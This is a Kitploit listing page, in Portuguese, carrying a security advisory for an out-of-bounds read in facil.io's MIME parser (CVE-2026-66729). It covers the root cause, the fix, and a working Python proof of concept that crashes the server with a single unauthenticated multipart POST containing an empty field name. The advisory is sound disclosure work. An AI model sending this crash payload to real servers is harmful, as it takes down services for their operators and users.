Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash — Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash | Kitploit
Ferramentas/GitHubGitHub/theopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash
Vulnerability AnalysisWeb SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubtheopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash

CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash

Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
há 23 diasAinda não revisado

Divulgação de Segurança: Leitura Fora dos Limites no Parser MIME do facil.io causa falha no servidor

ID de CVE atribuído CVE-2026-66729

Produto: facil.io
Versões afetadas: facil.io >= 0.6.0 (todos os 0.6.x, todos os 0.7.x, master); introduzido quando o parser MIME foi adicionado na versão 0.6.0
Componente: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191 (Integer Underflow), CWE-125 (Out-of-Bounds Read)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Pesquisador: Theodosis Paidakis


Resumo

Um underflow de uint32_t no analisador de corpo MIME multipart causa uma leitura fora dos limites quando um cabeçalho Content-Disposition contém um nome de campo vazio (name=;). Quando name_len é zero, name[name_len - 1] envolve para name[0xFFFFFFFF], lendo aproximadamente 4 GB além do ponteiro name. Isso gera uma falha e derruba o processo do servidor. Uma única requisição POST não autenticada é suficiente.


Causa raiz

lib/facil/http/parsers/http_mime_parser.h, linhas 235-241

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
    name_len = (size_t)(start - name);   // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"')           // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
    --name_len;

name_len é declarado como uint32_t. Com a entrada name=;, memchr encontra ; na mesma posição de name, então start - name = 0. Subtrair 1 de um uint32_t zero envolve para 0xFFFFFFFF. A expressão name[0xFFFFFFFF] calcula name_ptr + 4294967295, que está muito além de qualquer região mapeada.

A verificação na linha 236 (name[name_len - 1] == '\r') no outro ramo segue o mesmo padrão, mas lá name_len é calculado como end - name e não é zero na prática.


Prova de conceito

Inicie o servidor e depois execute:

root@kitploit:~
# poc_mime_oob_read.py
import socket

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=;\r\n"  # empty name before semicolon
    "\r\n"
    "value\r\n"
    "--B--\r\n"
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096))  # no response — server crashed
print('Check the server')

Saída do ASAN (confirmada):

root@kitploit:~
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF

Impacto

Uma única requisição derruba o processo worker. Em implantações com múltiplos workers, apenas o worker que trata a requisição morre; o master o recria. No modo de worker único, o servidor fica offline. A leitura gera falha antes que qualquer dado seja retornado, portanto a divulgação de informações não foi demonstrada.


Correção

lib/facil/http/parsers/http_mime_parser.h, linha 241

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
    --name_len;
Baixar ferramenta